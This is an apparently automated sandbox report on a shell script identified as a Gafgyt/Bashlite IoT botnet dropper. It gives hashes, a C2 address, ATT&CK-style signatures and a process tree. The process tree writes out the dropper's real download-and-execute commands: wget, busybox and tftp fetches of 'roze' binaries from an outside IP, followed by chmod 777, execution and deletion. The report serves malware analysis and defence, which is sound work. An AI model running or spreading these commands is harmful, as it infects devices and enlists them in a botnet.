Analysis

  • max time kernel
    147s
  • max time network
    159s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17-12-2024 07:08

General

  • Target

    update.sh

  • Size

    3KB

  • MD5

    2f17e8a3d3c383fa8eed2871c745febf

  • SHA1

    73ee845d24d3ae45e47c3f230f96fe5e81ef30ff

  • SHA256

    ba18aff2c29cbe926a950c505310cbcee46e1b2e5fd38b08e8be5000e90301a5

  • SHA512

    22c3a116f062889ad1bef07e20c9fab2cf1fd1993a4435eae385a28d5bbaf02569b08c1fd98022427e14fa44208201913ef4382a9f1921f544512cb9a1f7ca08

Malware Config

Extracted

Family

gafgyt

C2

37.44.238.73:8778

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 32 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/update.sh
    /tmp/update.sh
    1⤵
      PID:658
      • /usr/bin/wget
        wget http://37.44.238.73/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:660
      • /bin/busybox
        busybox wget http://37.44.238.73/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:679
      • /bin/busybox
        busybox tftp -r roze.mips -g 37.44.238.73
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:685
      • /bin/chmod
        chmod 777 roze.mips
        2⤵
        • File and Directory Permissions Modification
        PID:765
      • /tmp/roze.mips
        ./roze.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:766
      • /bin/rm
        rm -rf roze.mips
        2⤵
        • System Network Configuration Discovery
        PID:767
      • /usr/bin/wget
        wget http://37.44.238.73/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:768
      • /bin/busybox
        busybox wget http://37.44.238.73/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:769
      • /bin/busybox
        busybox tftp -r roze.mipsel -g 37.44.238.73
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:771
      • /bin/chmod
        chmod 777 roze.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:775
      • /tmp/roze.mipsel
        ./roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:776
      • /bin/rm
        rm -rf roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:777
      • /usr/bin/wget
        wget http://37.44.238.73/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:778
      • /bin/busybox
        busybox wget http://37.44.238.73/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:779
      • /bin/busybox
        busybox tftp -r roze.sh4 -g 37.44.238.73
        2⤵
        • Writes file to tmp directory
        PID:780
      • /bin/chmod
        chmod 777 roze.sh4
        2⤵
        • File and Directory Permissions Modification
        PID:786
      • /tmp/roze.sh4
        ./roze.sh4
        2⤵
          PID:787
        • /bin/rm
          rm -rf roze.sh4
          2⤵
            PID:788
          • /usr/bin/wget
            wget http://37.44.238.73/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:789
          • /bin/busybox
            busybox wget http://37.44.238.73/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:790
          • /bin/busybox
            busybox tftp -r roze.x86 -g 37.44.238.73
            2⤵
            • Writes file to tmp directory
            PID:791
          • /bin/chmod
            chmod 777 roze.x86
            2⤵
            • File and Directory Permissions Modification
            PID:794
          • /tmp/roze.x86
            ./roze.x86
            2⤵
              PID:795
            • /bin/rm
              rm -rf roze.x86
              2⤵
                PID:796
              • /usr/bin/wget
                wget http://37.44.238.73/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                busybox wget http://37.44.238.73/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:799
              • /bin/busybox
                busybox tftp -r roze.armv6 -g 37.44.238.73
                2⤵
                • Writes file to tmp directory
                PID:801
              • /bin/chmod
                chmod 777 roze.armv6
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/roze.armv6
                ./roze.armv6
                2⤵
                  PID:805
                • /bin/rm
                  rm -rf roze.armv6
                  2⤵
                    PID:806
                  • /usr/bin/wget
                    wget http://37.44.238.73/roze.armv7 -O roze.armv7
                    2⤵
                    • Writes file to tmp directory
                    PID:807
                  • /bin/busybox
                    busybox wget http://37.44.238.73/roze.armv7 -O roze.armv7
                    2⤵
                      PID:808
                    • /bin/busybox
                      busybox tftp -r roze.armv7 -g 37.44.238.73
                      2⤵
                      • Writes file to tmp directory
                      PID:809
                    • /bin/chmod
                      chmod 777 roze.armv7
                      2⤵
                      • File and Directory Permissions Modification
                      PID:812
                    • /tmp/roze.armv7
                      ./roze.armv7
                      2⤵
                        PID:813
                      • /bin/rm
                        rm -rf roze.armv7
                        2⤵
                          PID:814
                        • /usr/bin/wget
                          wget http://37.44.238.73/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:815
                        • /bin/busybox
                          busybox wget http://37.44.238.73/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:816
                        • /bin/busybox
                          busybox tftp -r roze.i686 -g 37.44.238.73
                          2⤵
                          • Writes file to tmp directory
                          PID:817
                        • /bin/chmod
                          chmod 777 roze.i686
                          2⤵
                          • File and Directory Permissions Modification
                          PID:820
                        • /tmp/roze.i686
                          ./roze.i686
                          2⤵
                            PID:821
                          • /bin/rm
                            rm -rf roze.i686
                            2⤵
                              PID:822
                            • /usr/bin/wget
                              wget http://37.44.238.73/roze.ppc -O roze.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:823
                            • /bin/busybox
                              busybox wget http://37.44.238.73/roze.ppc -O roze.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:825
                            • /bin/busybox
                              busybox tftp -r roze.ppc -g 37.44.238.73
                              2⤵
                              • Writes file to tmp directory
                              PID:827
                            • /bin/chmod
                              chmod 777 roze.ppc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:830
                            • /tmp/roze.ppc
                              ./roze.ppc
                              2⤵
                                PID:831
                              • /bin/rm
                                rm -rf roze.ppc
                                2⤵
                                  PID:832
                                • /usr/bin/wget
                                  wget http://37.44.238.73/roze.i586 -O roze.i586
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:833
                                • /bin/busybox
                                  busybox wget http://37.44.238.73/roze.i586 -O roze.i586
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:834
                                • /bin/busybox
                                  busybox tftp -r roze.i586 -g 37.44.238.73
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:835
                                • /bin/chmod
                                  chmod 777 roze.i586
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:838
                                • /tmp/roze.i586
                                  ./roze.i586
                                  2⤵
                                    PID:839
                                  • /bin/rm
                                    rm -rf roze.i586
                                    2⤵
                                      PID:840
                                    • /usr/bin/wget
                                      wget http://37.44.238.73/roze.m68k -O roze.m68k
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:841
                                    • /bin/busybox
                                      busybox wget http://37.44.238.73/roze.m68k -O roze.m68k
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:842
                                    • /bin/busybox
                                      busybox tftp -r roze.m68k -g 37.44.238.73
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:843
                                    • /bin/chmod
                                      chmod 777 roze.m68k
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:846
                                    • /tmp/roze.m68k
                                      ./roze.m68k
                                      2⤵
                                        PID:847
                                      • /bin/rm
                                        rm -rf roze.m68k
                                        2⤵
                                          PID:848
                                        • /usr/bin/wget
                                          wget http://37.44.238.73/roze.sparc -O roze.sparc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:850
                                        • /bin/busybox
                                          busybox wget http://37.44.238.73/roze.sparc -O roze.sparc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:852
                                        • /bin/busybox
                                          busybox tftp -r roze.sparc -g 37.44.238.73
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:853

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/roze.mips

                                        Filesize

                                        209KB

                                        MD5

                                        419aade96c12dfea0260ba505fb31b5b

                                        SHA1

                                        564e5f24382c87b24e0d2fb6e2705ecc6f29fd60

                                        SHA256

                                        f1bd061af699e21be35d9dd3d873f93e5eea01085fb9cc90684d5657936ecf75

                                        SHA512

                                        a1467a609d96c4845e7a18fc7c7da629c6eb8c98ea42c510bf822034e4f16b9a2e3c4fc731ef5e581b35194a3417dceffcbde5b56baf23b0f290f69ed981cbe6